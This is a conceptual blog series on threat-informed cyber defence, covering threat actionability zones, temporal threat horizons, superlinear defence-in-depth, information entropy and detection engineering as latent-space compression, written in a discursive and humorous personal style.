Detection Engineering has a heavy DevOps component to help automate the Testing and Deployment of detectors to test / prod environments. This is true of Detection, however, a well developed Hunt project also requires automation at some point of the workflow.

The main thing to automate in Threat Hunting is your research phase, you want to be able to produce semi-automated hunt packages:

• Using LLM to read and tag threat reports with MITRE TTPs

• Using extracted data points like TTPs to search libraries of available signatures which can help kick off the hunt (SIGMA, KQL, YARA, SNORT, etc.). These are just starters for your hunt mission.

• Utilize extracted data points to sweep GitHub in search for repositories that contain offensive or defensive tradecraft relating to your hunt topic.

• Leveraging automation to sweep your Detection repository to identify existing coverage.

• Use semantic searches to pre-search SIEM schemas in an attempt to identify the data collections or indexes that contain data that is meaningful for your hunt project.

• Utilize all of the above information and the power of LLM to search for and build atomic red test devices to understand the adversarial aspect of your hunt.

• Fetch and process your Threat Intel Platform data to surface pre-existing campaigns, threat actors or information that relates to your current mission.

By the time the threat hunter receives the information, he/she/they receive a hunt package enriched with automation and allows for creative and more nuanced approaches.

A Detection is an automated Hunt 😦🤯

When you create a new detector as a result of a hunt mission, you are not crystalizing a hunt, you are simply capturing one of many outcomes of a hunt research project into an artifact meant for detection.

Hunt is not a process that can be "automated" end-to-end, it relies heavily on creative and lateral thinking, situational analysis, operative environment knowledge and deep system/forensics/network knowledge.

Perhaps one day, when Quantum Computing merges with ML and we start seeing AGI, hunt, detection, response and everything else will be automated and we can sit and watch how offensive and defensive AGIs fight each other! 😹

Conclusion

Perhaps you are now more confused than when you started reading! If you ask me, that's a good thing. Sometimes the only way to get out of rigid constructs that limit our way of looking at a problem is by redefining our coordinates.

In case some things are not clear, here's a summary of the points I've made:

• ❌ Ditch "Hunt vs. Detect vs. Intel vs. Whatever" as a way to think about your SecOps: Security functions are stages in a bigger threat-driven system, not competing roles.

• ✔️ Focus on Problems, Not Labels: What problems are you solving? Start with threat-driven defence, this is your goal, don't start by asking people to define their job family and position description.

• ✔️ Roles are functional boundaries, not rigid and clear-cut categories: "Hunter" or "Analyst" labels define focus areas, not inherent identities.

• ✔️ Think beyond Roles, think Data, Knowledge and Insight: The key is crafting a powerful, data-driven threat defence system, we want to build data-driven pipelines to actively counter threats, you won't get there by merely contrasting "job descriptions".

• ✔️ Embrace Interconnectedness: Lines between roles like analyst, engineer and responder are fuzzy, reflecting real-world overlap. Functions may overlap and feed into each other, creating crucial collaboration points.

In Part 1 of this series, we started to lay out the problem space and drew some diėgrams to get a better grasp of them.

However, by merely looking at threat actionability zones we are obviating a very important aspect of threat management: the passing of time. Timely action can be the difference between pwned and not-pwned, between 5 million customer records held to ransom and nothing more than a noticeable event in your perimeter.

In Part 2 of this series, we will explore some eideons that I hope will contribute to developing a new understanding of the mechanics of threat information, intel, hunting and detection.

Threat Intelligence and the Problem of Time

Regardless of the strategic approach you choose to realize the value of threat intelligence, you implicitly work with three different time horizons: threats that could impact us (the future), what can impact us right now based on our attack surface (the present) and what has impacted us already (whether knowingly or unknowingly, the past).

The world is full of potential cyber threats, this doesn't mean they constitute likely threats to your business. Oh! I can now hear some of you going "That's right! So you are now going to talk about the impact and likelihood risk matrix", ehem… no. That would be just repeating what everyone else out there vociferates like automaton robots.

There's nothing wrong with the "likelihood & impact" matrix by the way, but the likelihood of some threat impacting business operations is merely a derived value, the result of a deliberative process that has already decided the final likelihood score. How can you even arrive at that when most Cyber Ops teams struggle to capture the meaningful relationship between potential threats, their actionability gradients and the attack paths they enable in the environment?

Behind this confusion lies the concept of defense-in-depth: interspersed layers of defensive controls like a castle-and-moat model. If one layer is breached, there are additional layers to mitigate risks and prevent unauthorized access.

There is, however, one missing piece in the concept of defence-in-depth. When we think of layers we evoke spatial references, but forget about the temporal layers: past, present and future.

When considering temporal layers on top of our actionability zones we get the concept of threat horizons. A threat horizon brings in the experience of change because the asymmetry of time brings us closer to the reality of irreversible structural changes. If things weren’t changing, it is unclear how we would experience a sense of time passing.

If we had to depict this with a diėgram, using the actionability diėgrams from Part 1, it would look like this (yeah... I know you know I love Excalidraw):

As we saw in Part 1 of this series, one way of thinking about the threats that can/do impact your organization is in terms of their actionability. We formalized this concept in two possible definitions (because we like to embrace ambiguity), here's one of them:

the ability for an organization to articulate decision-making processes based on available information, to direct the actions required for mitigating risk exposure to cyber threats.

The term "actionability" in this context refers to the degree to which a threat that poses a realistic risk to the business can be addressed effectively by an organization. I know what you are thinking: but Diego, you are not addressing the very core of what a "realistic risk" is, aren't we in danger of falling into a circular definition? (i.e. actionability is defined in terms of that which poses a realistic risk; a realistic risk is that which by its own virtue has been identified as actionable)

🔍🤔Well, perhaps this will be disappointing to you but, I am not trying to tell you what constitutes a realistic risk for your business, that's not my job. I am trying to help you understand the ways in which you can produce a threat-informed pipeline of work that is meaningful for your CyberOps. I don't sell those magic pills many vendors promise. In fact, I'm not selling you anything ;) We are co-creating here, I'm helping you carve new patterns of thought that I hope will inspire better ways to solve the usual problems.

Actionability does not care if the threat is within the realm of unrelated possible threats "out there", it only cares about those threats that are likely applicable to your digital landscape given the state of your attack surface. We are not asking ourselves what is the impact and likelihood here. The question we are trying to answer is: should you do something about it, can you do something about it and did you do something about it?

Just because there is a likely threat, it doesn't mean you will do something about it. Even more, just because there is a likely threat, it doesn't mean you can do something about it. Small businesses with very limited budgets certainly cannot afford to do something about every likely threat out there.

Allow me to rephrase the ideas above in terms of could, should, have:

When presented this way, the actionability zones become more clear. There are threats that you could do something about, but this doesn't mean all of them are relevant enough to deserve your attention and resource allocation. However, a subset of the latter are those threats you should definitively do something about, i.e. if you are running Ivanti Sentry and are aware of CVE-2023-38035 with a vulnerability severity rating of 9.8, you should definitively allocate resources to patch, protect and respond to threats in that area.

Despite the above, not all the threats you should do something about are effectively addressed. The reason is simple: there is not an infinite pool of resources at your disposal. You have to prioritize, inevitably. This of course means you will end up doing something about Ivanti Sentry CVE-2023-38035, but may not do something immediately about the 30% of employees who so quickly fell for that phishing simulation, once again.

It does not mean you won't do something about that phishing simulation results in the near future, it just means you have de-prioritized that threat in your present horizon. You may send those employees to their tenth round of phishing training with some boring slides, with a caveat though: only if your organization sustains the awareness about that threat and it doesn't fade away into the past horizon.

There is an important question here, which goes to the heart of this article series: how do we harness the power of our threat intelligence pipeline to maximize the probability of focusing on the right threats? Or to put it bluntly in negative terms: how do we avoid wasting resources on irrelevant threats?

To achieve effective resource allocation for this informational problem, we need to find a way to develop synergistic relationships at every stage of the information processing pipeline between the interconnected systems that consume its outputs and the stakeholders that make decisions based on the data.

One way to make our temporal and spatial layered defences more effective is by building for a specific type of synergistic effect called superlinearity. Amongst other properties, this effect is an aspect of what I've been calling adaptive defence.

Let's explore what synergistic defence-in-depth means in the next few sections, and how can we draw from this idea to engineer better threat intelligence pipelines.

Defence-in-Depth and Superlinearity

Good'ol defense-in-depth, don't we all love that concept? In a way, it helps us picture cyber defence as a series of layered controls and compensating mechanisms that act in unison to neutralize those nasty cyber threats. Phil Venables has an excellent article on this topic (already highlighted by Anton Chuvakin in another piece) where he goes beyond the easy portrait of defence-in-depth and delves deeper trying to clarify what it means. Phil states that:

"... we need to update our notion of defense in depth with a more modern framing... The goal of defense in depth is not just multiple layers of controls to collectively mitigate one or more risks, but rather multiple layers of inter-locking or inter-linked controls"

Further, he indicates that

"If there are N layers then the goal is not just a linear increase in control in proportion to N, but rather super-linear scaling of that effect..."

The concept of superlinear scaling is very apt here and caught my attention. Superlinearity is a condition where a system's response is more than proportional to the input. It has been heavily studied in the fields of computing, engineering and economics.

This is typically illustrated by the multiprocessing capability of modern processors and it's behind the massive success of "the cloud". Parallel computing evokes the intuitive idea that working on a task with parallel processing power decreases the processing time in a linear way: doubling the number of processing units halves the execution time. However, in parallel computing, superlinearity effects show that as the system size grows, each individual processing unit becomes increasingly more efficient, which is a counterintuitive outcome (see here, and here).

(image from: Hadoop Superlinear Scalability)

It must be noted though that superlinearity is a property of a system's response to changes in certain factors, and those factors vary depending on the context. A higher quantity of processing resources is not a universal recipe to achieve superlinearity, in most cases you won't get there by merely scaling computing power. In a more broad sense, superlinearity can be thought of as a metastable phenomenon that relates to information dynamics. It is achieved by the convergence of three dimensions: competitive/cooperative processing schemes, information sharing ratio and network utilization. Too much or too little of either of these variable factors and we might lose the superlinearity effect.

I argue that an effective threat intelligence processing pipeline can produce superlinear returns at an organizational level. Concise but timely and relevant information can irrigate many layers of an interconnected defence-in-depth system. Information about threats can flow into:

• Engineering Teams that will perform patching and hardening of systems to mitigate or negate the damage of cyber threats.

• Cyber Ops Teams that will deploy new detection rules, update response playbooks and run retro-hunts.

• Architecture Teams that will embed new controls in general system design guidelines.

• Risk and Compliance Teams becoming more efficient and have more evidence regarding how the security controls work under new threats.

A small input with the right momentum can generate non-linear systemic benefits for the organizational defence-in-depth layers as a whole.

The momentum and the timeliness of threat information are decisive factors that influence the probability of superlinear effects in your defence-in-depth approach. As we saw in Part 1, timeliness is one of the properties of threat information quality. Momentum, on the other hand, is much more intangible and harder to measure. Momentum is a compounding value that facilitates the decision-making process by the concurrent participation of actors that work with the same tempo around an information processing pipeline*.

* This is another important concept for adaptive defence which I won't delve into in this series.

But why is time so important for the synergistic effects of threat information processing and, ultimately, the actionability gradients of threat intelligence collected and analysed by an organization?

The Uncertainty of Information

Why is time important? Because of entropy. Somewhere between 1872 and 1875, Ludwig Boltzmann introduced the idea that entropy (S) is related to the number of possible microstates (W) of a system. He formulated the equation for entropy as S = k ln(W), where "k" is the Boltzmann constant and "ln" represents the natural logarithm. According to this formula, entropy quantifies the amount of information needed to specify the precise microstate of a system. The more microstates available for a system, the greater the entropy and the greater the uncertainty about the system's state.

A classic experiment pertains to the increase in heat for a gas inside a chamber. When heat increases so does the shared energy between the gas molecules, which in turn makes the gas molecules move faster, thus making it harder to predict exact combinations of microstates for the gas molecules within a certain volume.

Another classic example is the different states of molecule arrangements for solids, liquids and gasses as illustrated by different water states. Gas molecules have access to higher numbers of microstates than liquids or solids.

In 1948, a chap called Claude Shannon made an interesting connection between the idea of entropy in physics and the dynamics of information. Shannon posited that entropy is a measure of the amount of uncertainty or randomness in a signal or message. But what does this mean?

Imagine that you want to send the following message this article is a great article, how many bits would you need to transmit that message over the network? Well in a straightforward estimation, if we say that each character requires 8 bits then we need 8 x 31 = 248 bits. However, can we do better than 248 bits?

With natural language, characters and events don't need to be uniformly distributed (evenly spread out). Every language has characters such as e, a or even spaces that occur more frequently than others. When dealing with characters that aren't evenly distributed, what we would like to know is: what is the anticipated number of bits needed to convey a message crafted with those characters?

If we can anticipate an event, then it means this event is less uncertain, i.e. there are fewer chances of a random result. In our sample message, it turns out this is a matter of weighted probabilities of the characters in the message, a metric we can define as a tree by what's known as Huffman Coding, named after David A. Huffman. An optimal coding scheme for this is a great article can be calculated using different approaches but we chose to use a simple online tool like this one:

When analyzing the frequency each character has within this is a great article we obtain the following:

+-----------+------------+----------------+---------+
| Character | Frequency  | Bits Required  | Size    |
+-----------+------------+----------------+---------+
| " "       | 5          | 3              | 15      |
| a         | 4          | 3              | 12      |
| i         | 4          | 3              | 12      |
| t         | 4          | 3              | 12      |
| e         | 3          | 3              | 9       |
| r         | 3          | 3              | 9       |
| s         | 2          | 4              | 8       |
| l         | 2          | 4              | 8       |
| c         | 2          | 4              | 8       |
| g         | 1          | 5              | 5       |
| h         | 1          | 5              | 5       |
| 96 bits   | 31 bits    |                | 103 bits|
+-----------+------------+----------------+---------+

Total: 96 + 31 + 103 = 230 bits

For sending the above string over a network, we have to send the tree as well as the above compressed code. As we can see, to encode the message using a Huffman encoding we would need 230 bits, less than the original 248 bits. We need less information to describe exactly the same message because we can better estimate the likelihood of each character (event), which means we have less uncertainty involved.

In information theory, information entropy can be used to quantify the amount of information contained in a message, based on the likelihood of each possible outcome. For example, a message that consists of only one possible outcome has zero entropy, as there is no uncertainty or randomness involved. On the other hand, a message that has many possible outcomes with similar likelihoods has high entropy, as there is a lot of uncertainty and randomness involved in predicting the outcome.

So going back to the question at the beginning of this section: why is time important? If we recall the diėgrams in the previous sections, we stated that our main objective is to understand the actionability of information, this actionability decreases the more we look into the future and increases as we approach our present horizon. We called these threat horizons. But why is this the case?

Well, one possible explanation is based on the nature of entropy in information theory: the future is less predictable than the present, and the present is less predictable than the past. The second law of thermodynamics states that the total entropy of an isolated system tends to increase over time, which is why we talk about an arrow of time. In both thermodynamics and information theory, higher entropy implies greater unpredictability or uncertainty about the future state or behaviour of a system. As a system evolves, it tends to explore a greater number of microstates thus making it harder to predict its possible configurations.

In essence, actionability is the inverse of entropy.

Actionability = 1/H​

In terms of a system's entropy, higher uncertainty means there is a higher amount of information needed to describe the states of the system (there are many studies that show this, but I really liked this one because I am not a science guy and still found it enlightening). The more microstates there are and the more unpredictable they are, the more information is required, and the more difficult it will be to describe the system.

Intuitively, we know that the world is only getting more uncertain, cyber threats become increasingly more sophisticated and attack surfaces only grow with the development of the Internet of Everything. It is harder to predict hypothetical or emergent cyber threats because there is more uncertainty about the potential configurations of operations that can combine into attack chains. When the first computer program running on an electronic computer appeared in 1948, it was probably very difficult to predict the cyber security risks that would be introduced by AI and Quantum Computing 60 years later.

Is there any way to manage this uncertainty from a business perspective?

Decoding Uncertainty through Threat Intelligence

It turns out there is a way to counter uncertainty and the gradients of risk associated with it in the context of organizational life. To uncover this, we need to go back in time, almost eighty years ago, before the structure of DNA was even described, when the Austrian physicist and philosopher Erwin Schrödinger inspired a generation of scientists by revisiting the fascinating philosophical question: What is life?

Shrödinger was so enthralled by the matter that he actually wrote a book whose title is that very same question. In that book, he suggests that living organisms locally reduce entropy by maintaining highly ordered structures. Organic life achieves lower entropy and higher-order states by spending energy to maintain internal coherence. As Shrödinger puts it in his book "living matter evades the decay to equilibrium". But how? It would seem that there is a little thing called metabolism that helps us living entities evade this decay:

All known organisms consist of one or more cells, the most basic units of life. Each cell maintains a precise and constant internal physiochemical environment throughout its life that is distinct from its surroundings. This is achieved by expending energy acquired from externally derived nutrients (free energy) to fuel diverse regulatory processes that are collectively termed “metabolism”. Therefore, organisms, and the individual cells that compose them, are open systems that continually exchange nutrients and wastes with their environment. In effect, all organisms maintain their low entropy status by “eating” free energy and “pooping” entropy. (Schreiber, A., Gimbel, S. Evolution and the Second Law of Thermodynamics: Effectively Communicating to Non-technicians. Evo Edu Outreach 3, 99–106 (2010)

(Uh yeah... I just quoted a text that mentions 💩 and put it in an article about cyber stuff. Most 2yo and 3yo would celebrate my rebellious expression of art! I could keep on digressing about this but alas! poop time is of the essence!)

Now let us ask ourselves the following question: what is the embodiment of a threat to the internal coherence and ordered complexity of living organisms? The same thing that causes snotty noses 👃🏽 in winter: a virus 🦠

There is a reason why the most basic and naive representation of a cyber threat is a "computer virus": they represent a disruptor of digital systems in the same way their biological counterparts are of living ones.

Biological viruses are interesting entities, they exist in both an inert state called virion and an active "live" state called the virocell. Virions are complete viral particles in extracellular form, they are like "spores" and lack the cellular machinery for independent replication, they must hijack a host cell to express their encoding and turn regular cells into virocells.

We can generalize this concept to cyber threats too. Digital threats have an inactive phase, the threat, and an active phase which is the attack. A threat is in a way like a virion that has not yet manifested into an attack by hijacking an organization's resources. Once these resources are hijacked (either by depleting them in the case of a DDOS attack or by achieving remote code execution), the attack tends to replicate (move laterally) and eventually capture and exfiltrate information that can damage an organization's integrity.

Viruses are also entropic drivers for disease and cancer evolution by increasing the number of possible microstates available to the host cell, thus favouring mutations. The same can be said of cyber attacks, they are entropic drivers that alter, abuse, disrupt, degrade, or destroy the coherence of computer systems or information. We say a cyber attack has occurred when there is evidence of material damage to an organization. However, with threats, this damage is not yet actual: it has not yet crystallized. Cyber threats are the statistical representation of attacks: not real but potential attacks with varying degrees of likelihood. Cyber threats are unrealized attacks that have not yet caused actual damage.

We can define cyber threats as sequences of operations that carry the potential to disrupt informational coherence inside organizations. Future threats are harder to predict, the further away from the present horizon, the more unpredictable they are, and more information is required to understand (describe) them.

In this context, threat intelligence is an attempt to produce information that describes the actions involved in carrying out cyber attacks. The more descriptive this information is, the more coherent datapoints we have about threats, the higher our ability to protect our business from them.

But future threats are not the only source of disruption to businesses and institutions. Current, unprocessed information in our present horizon is also highly entropic. Not having a proactive stance towards the understanding of the present threat landscape simply means your organization lives in a sea of unknown threats: higher quotas of untamed uncertainty.

The threat intelligence process reduces informational entropy. In the process of producing information about potential threats, a threat-intel pipeline reduces the uncertainty about them. A properly implemented pipeline should have the ability to decode the many features of threats and map those out to your organization's attack surface: capability, danger levels, impact and likelihood, actionability, attach chains, etc.

In this context, actionability can be considered as a measure of how uncertainty of information with low levels of usability can be metabolized into usable information. The process of bringing a threat under governance is a process of local entropy reduction by which a potentially disruptive state (threat) is modulated in terms of security controls. 💉

Latent Space and Detection Engineering

As threat hunters and detection engineers, we care about capturing the "genome" of a threat into a codified form that can be identified by our protective systems. However, a full genome can sometimes be unnecessary and computationally heavy.

* 🤔 intentional mental note: I could have simply just said that we like to "create detections" instead of the above long sentence... yet again isn't this whole essay a long thing? and why would I write even the shortest sentence to repeat what everybody already knows? Anyway, sorry for the time wasted with this snippet of internal monologue. 😅

Shannon's key insight is that predictable information can be compressed more efficiently. Fewer symbols are required to represent the original message. This is also the ultimate goal of CyberSecOps: to encode threats as efficient information within an organizational system. Information is compressed by encoding it within predictable patterns.

When engineering an analytic like a detection for a threat, we are effectively describing the threat with less information. From a huge threat report containing thousands of words about the TTPs of a particular threat actor, we derive detective controls that are machine-readable and translate our knowledge about the threat into a simpler and more interoperable representation.

In the machine-learning realms, this is what's called latent space.

(Image from Hackernoon)

I am not a machine learning virtuoso -well not even a proficient one really-, but I think latent space is an apt model to describe what are are trying to achieve when developing detections.

Latent space is a lower-dimensional representation of information that captures essential features of the input data. Jared Atkinson has implicitly elaborated on this idea through his series On Detection: Tactical to Functional. If you have not been following that series: you should. Trust me, the two research streams that have contributed groundbreaking ideas to the world of detection engineering and hunting are the SIGMA project and Jared's On Detection series. In Part 6: What is a Procedure?, Jared very well summarizes the essence of the series in that he has expanded our understanding of the map we use to navigate the territoire:

Imagine that we have been trained our entire career to view the cyber world through a three-layered lens (Tactics, Techniques, and Procedures). As a result, we apprehend the cyber world as something composed of three layers and tend to be limited to thinking and talking (but I repeat myself) about it within this three-layer construct. Through this blog series, I have attempted to shed this preconceived structure to explore the ontological structure of this world, or at least estimate it as well as I can. The result has been interesting for me, and I hope for you as well because we have discovered the existence of at least six layers (functions, operations, procedures, sub-techniques, techniques, and tactics)

Latent space is about the map that a machine learning model "learns" in order to navigate the higher dimensionality of the original information space. Engineering detections is in a way a similar process, by which we try to abstract the complexities of an attack chain and focus on the most important aspects of it. These abstractions happen at various levels, like the six levels from SpecterOps 🔍. This is what the MITRE Project tries to capture as a knowledge graph. Detection logic or "detectors" are always a lower dimensionality representation of the rich complexity of a threat 📊.

In this sense, detection engineering is the process of understanding the layers that compose a behaviour and the descriptive parameters that best apply to each layer. Engineering detections is also about finding those patterns that constitute the lowest common denominators leading to "choke points" and minimizing the information needed to capture the highest amount of threats of the same class (same procedure or same operation for example)

Delving deeper into this topic would require a whole other article which is not intended for this series. In our next article, we will explore how can we engineer a threat information processing pipeline based on the core aspects of how information becomes actionable: network dynamics and the discovery chain.

Digestif

Hey guys, if you stuck with me all the way through to this point: I salute your potent attention and focus skills! In today's short-content-rules world, it is hard to find fearless warriors who can read past a twitter-length post.

To thank you for your incredible determination in our quest for active defence and beyond, allow me to share with you some inspiring things that have happened over the last three weeks:

Wim Hof. Inspiring Change.

I woke up one day with a terrible stiff neck, I couldn't work. All I could do was sit in weird positions and watch documentaries. I was blessed enough by the algorithm gods to get a recommendation for The Mulligan Brother's Short Doco Big Pharma VS Wim Hof | Mulligan Brothers. It's 30 minutes packed with incredible insights and a window into Wim Hof's deep pain that helped him transform himself and so many others on this planet by learning the art of the cold.

What the hell does that scatterplot mean?

I love data visualization but I always struggle to understand what's the best way to represent the data at hand. For some reason, the filtering alleyways of the internet lead me to data-to-viz.com where I can browse different visualization models and understand their caveats and where they shine!

Advancing the state of the art in Detection Engineering

There are two ripples in the detectivesphere that truly advance the state of the art in the detection engineering space, one is relatively old -by today's cyber standards where yesterday was already a century ago- so its voice has been maturing for the last few years. I am talking of course about the SIGMA project with all the latest from Nasreddine Bencherchali like the new SIGMA Website.
The other hugely transformational insight into the detectivesphere is Jared Atkinson's Series of "On Detection: Tactical to Functional". I have been following the series since its inception and recently read Part 11. I love the clarity of the concepts exposed and how this series keeps on building from one idea to the next, in a movement that is creating dynamic new ways of understanding the art of detection engineering. There is deep knowledge in the realization that the classical layers of attacker behaviour (tactic, technique, procedure) can be further broken down into more atomic and less stable states. Quantum leaps.

Someone is noticing ThreatHunterz

Zach "Techy" Allen DetectionEngineeringWeekly 47 mentions our previous post. We would like to thank Zach for the brave mention, I highly recommend subscribing to his newsletter for the latest news and how-tos in detection engineering!

How to do great work

I found a gem of the indie bloggosphere: How to do Great Work by Paul Graham. This guy seems to have collected and analysed the patterns that people who do great work in any field develop. I am not talking about the vacuous coach-style self-growth-guru-like article, this is nothing like that, I am talking about a unique literary piece with an exquisite mix of an engineering approach, fresh thought and easy-flowing style.

References

• https://www.programiz.com/dsa/huffman-coding

• https://www.inovex.de/de/blog/the-mystery-of-entropy-how-to-measure-unpredictability-in-machine-learning/

• https://www.inovex.de/de/blog/machine-learning-interpretability/

• https://www.researchgate.net/publication/261042470_Simulation_Results_of_Shannon_Entropy_based_Flexgrid_Routing_and_Spectrum_Assignment_on_a_Real_Network_Topology

• https://towardsdatascience.com/understanding-entropy-the-golden-measurement-of-machine-learning-4ea97c663dc3

• https://medium.com/udacity/shannon-entropy-information-gain-and-picking-balls-from-buckets-5810d35d54b4

• https://towardsdatascience.com/understanding-latent-space-in-machine-learning-de5a7c687d8d

• https://evolution-outreach.biomedcentral.com/articles/10.1007/s12052-009-0195-3#article-info

• https://citeseerx.ist.psu.edu/document?repid=rep1&type=pdf&doi=a4a6929fbcd9494bf9e02ac81b23fe8b26cc8874

• https://github.com/daveshap/latent_space_activation

What does it mean to be threat-informed when it comes to Cyber Defence?

It is one of those classic tough questions that don't have simple answers (at least not ones that are immediately obvious). The great Anton Chuvakin circled back to this topic recently. In this article, he asks an excellent question that goes to the heart of the problem:

"...why does everybody seem to support threat-centric security conceptually, but few practice it operationally?"

Operationalizing a threat-centric approach is not a simple undertaking. You must choose between strategic stances for threat intelligence data collection, information assessment, filtering, enrichment and triage.

You may be tempted to assume that the problem of threat-informed or threat-driven cybersecurity is a threat intelligence one, however, at its core, it is a problem of information significance: the dimensions of data provenance, relevance, interoperability, reliability, actionability and timeliness. What does a particular data cluster mean within the context of your organization and how does it inform actionable outcomes?

Ultimately, what we want is for information to be actionable, our threat intelligence pipeline should help improve the actionability gradients of threat-related data that our environment emits, so it can drive security control deployments like detections, mitigations, hardening, etc.

However, the reality we face in most organizations is far from a meaningful information processing pipeline. Most CyberSecOps models out there resemble Rube Goldberg Machines instead of meaningfully articulated data networks. It suffices to ask some of these questions to your hunting, response, SOC, detection engineering or threat intelligence teams to surface the struggles in providing insight as to what constitutes meaningful threat-driven decisions:

• What helps drive the priority of your threat detection, hunting and intelligence collection endeavours?

• What is your understanding of the purpose of collecting and processing information about threats that may impact your environment?

• Why have you chosen risk "A" over risk "B" to be prioritized for action?

• How do you determine the relevancy of a threat to your organization?

• Do you simply leverage unidimensional criteria like playing MITRE ATT&CK bingo to decide where to best allocate your hunting and detection efforts?

When it comes to building a strategic approach for the allocation of resources to threat hunting and detection engineering efforts, there is no single "formula" that can define what is the optimal prioritization model. This, however, does not mean you are spared the need to quest (and question) around what constitutes meaningful progress for your organization. The perils of not doing so are falling into The Inevitable Kraken of Doom, as Dr. Jason Fox puts it:

... we collectively maintain a rich delusion of progress, busily working away, like automaton-golems, towards that what I call ‘The Inevitable Kraken of Doom’—an Eldritch beast that feeds upon the sweet nectar of our impending irrelevance.

Despite all challenges in navigating the complexities of threat-driven CyberOps, we seem to succeed in what I can only describe as perfomant ambiguity, an ability to operate coherently in situations where there is a high degree of uncertainty and complexity. Why is this? What do we intuitively know about threat-driven strategies that we haven't yet elevated to formal models?

In this article we will explore this topic and hopefully bring insight into the problem space.

Threat Actionability in CyberOps

There is a bigger question at play here which will send us on an interesting quest (have you now noticed how "quest" and "question" are related?). And that question is: what even is actionability?

Furthermore, wouldn't it be a derived score? If so, how do we arrive at threat actionability scores?

MITRE defines actionability in its "Top ATT&CK Techniques" Project as:

The opportunity for a defender to detect or mitigate against each ATT&CK technique based on publicly available analytics and security controls.

The source of the data required to score detection availability is obtained from publicly available detection repositories (MITRE’s Cyber Analytic Repository, Elastic, Sigma HQ's rules, and Splunk Detections) whilst mitigation availability is sourced from CIS Critical Security Controls and NIST 800-53 Security Controls..

MITRE's definition for the "Top ATT&CK Techniques" project is not lacking in regards to their use case (scoring the top 10 techniques based on actionability, choke-point and prevalence), but when applied to a specific organization, it becomes tricky to translate this to the operational reality of detection and mitigation capabilities.

For instance, you may be a small or medium business that has low maturity in the "Network Monitoring and Defense" control which means you may not have an EDR or have one that does not provide the level of granularity required to build effective detections for a big range of TTPs. This may result in your organization having low actionability scores for process injection techniques, despite a high availability of such analytics in the public realm.

In large and mature organizations, the problem is of magnitude and complexity. You may have excellent maturity in all your security controls, but the organization is so dynamic, complex and ever-changing, that it is not possible to have a complete understanding of the full functionality and reach of all the security controls that make up your defence-in-depth layers.

This is why the "Top ATT&CK Techniques" project provides a calculator to derive the 10 most relevant techniques to hunt, detect and mitigate against based on the particularities of your environment.

Despite this, the definition of actionability that we will use for this article series is a bit more nuanced. We will define it as:

The degree to which threat information enables the articulation of organizational resources to allow for the efficient mitigation, detection and response of cyber threats.

When you ask how actionable your threat intelligence is, you are asking about the ability of an organization to articulate decision-making processes based on available information to direct the actions required for mitigating risk exposure to cyber threats.

(yeah I know, any of the above two paragraphs could have been used for a definition, but I had to pick... in the end, I didn't though, and just stated both in a sequence... the puzzle will solve itself though in future iterations, or perhaps just won't 🤨)

Through the remainder of this article series, you will notice that the notion of "actionability of threat information" works as an attractor. Armed with this torch, let's venture into the deeper levels of this cave to shine a light on darker corners.

The Deceiving Funnel of Threat Actionability

Threat intelligence is essentially pragmatic. It aims to communicate situational awareness to facilitate the decision/action phases of our OODA loops. The key here is to understand "communication" since not every utterance or cluster of words in a report communicates information in a way that will produce adequate action chains.

In linguistics, the ability to understand another speaker's intended meaning is called pragmatic competence. For Cyber Defence and Threat Intel, pragmatic competence is the ability to deliver information in such a way that it triggers decision-making processes that improve system resiliency through continuous control optimization and validation.

It's important to consider the most effective ways to transform information into informed decisions that guide specific actions. This is particularly relevant for cyber defence strategies where information needs to be presented in a way that minimizes obstacles and enables downstream processes to easily utilize it to guide their activities. As such, it's crucial to ask yourself: how should we encode this information to reduce friction and facilitate meaningful progress?

Pragmatic competence is not possible without an essential quality dimension of threat information called interoperability:

The degree to which the formats of threat data or intelligence is compatible with consumers’ internal systems allowing it to be accessed and integrated seamlessly. (Threat Intelligence Quality Dimensions for Research and Practice)

This compatibility in the format of threat data does not merely pertain to technology (digital systems) but also to people and processes. A cyber function that is not linked to the value chain of threat-informed defence risks not focusing on the threats that matter to the organization. Focusing means amplifying the ability to anticipate those threats.

Ultimately, we are seeking to anticipate threats by producing information about them that is actionable. But what are the types of actions that cyber defence teams usually take in the face of cyber threats?

Generally speaking, the range of actions we can enact regarding threats can be reduced to the threat actionability funnel: monitor -> analyse -> implement

Let's represent this with a diėgram* that shows a simplified picture of what we do with cyber threats.

* Diego-Diagram, an illogically logical way of representing something so that it makes partial sense, which despite its shortcomings, still carries enough semantic force to encode the phenomenon into a representational concept that can inspire new -and better- patterns of thinking. It is also just a drawing that many people will find hilarious and possibly informative -on a good day-

Generally speaking, there are:

1. Those threats that you should monitor and be aware of, either because they relate to your industry vertical, geographical location, product or services.

2. Out of the threats you've decided to monitor, be that via 3rd party threat intelligence feeds, in-house threat intel capability or both, there's only a small subset that you will actively analyse, i.e. allocate finite human brain-computing power to their analysis.

3. The threats that you have actively analysed will produce a variety of outputs, sometimes you will have a detailed breakdown of attacker TTPs, and sometimes you will have high-level information that is not very actionable; the threat information you have converted into actionable knowledge can be implemented practically by deploying it to your security controls.

The term "security control" used in point 3 refers to manual or automated controls of any nature, ranging from blocking an IP in your Firewall to passing behavioural information to your Hunt team for retro-hunts or tightening physical controls like access to your premises. The spectrum of security controls encompasses procedural ones like a risk assessment to technical ones like adding an IOC to a blacklist.

You have probably identified two things in the diagram above, first of all, it can be loosely coupled with the DAIKI model of AIMOD2. Secondly, it is loosely aligned to the classic Threat Intelligence Lifecycle. In fact, we could overlay the TI Lifecycle and obtain something like this:

It seems like a nice picture, right? There are threats out there in cyberland going about their day, attempting to find victims and fulfil their destiny as "the cost of doing business", a sort of tax for using the internet.

Nevertheless, we don't really care about all threats, don't we? We swiftly strain threats through a nicely-shaped funnel that gets rid of irrelevant impurities, leaving us with the pristine material of truly important information.

The problem with the above diagram is that it makes us believe that the threats we have NOT analysed or actioned simply disappear. This is a deceptive representation of how threats interact with our digital perimeter and attack surface.

The reality is that ignored threats remain, lingering in forgotten tunnels of the business, where information decay slowly turns our knowledge into dust (and therefore unknown-known risks).

We have simply decided, through a triage process, that they are not worth our attention because they are either not applicable to our digital landscape, or because we wrongly classified them as irrelevant (when they were actually very much relevant). It may come as a surprise to you, but there is such a thing as False Negatives in the threat intelligence world.

Actionability Zones in Threat-Informed Defence

Our businessy and practical minds crave funnels, because they are easier to parse for our thinking System 2. The more noise we can discard quickly the better. System 2 is lazy and it's governed by the principle of least effort.

Don't get me wrong, I like funnel representations of reality dynamics as much as the next guy 🍺, but because there is a subset of ignored threats that potentially fall in the false-negative bag, it is better to talk in terms of "zones" rather than funnels when it comes to threats. This is how a diėgram would represent it:

Actionability zones indicate how deserving a cluster of threats is, of your finite human-resourced computing time.

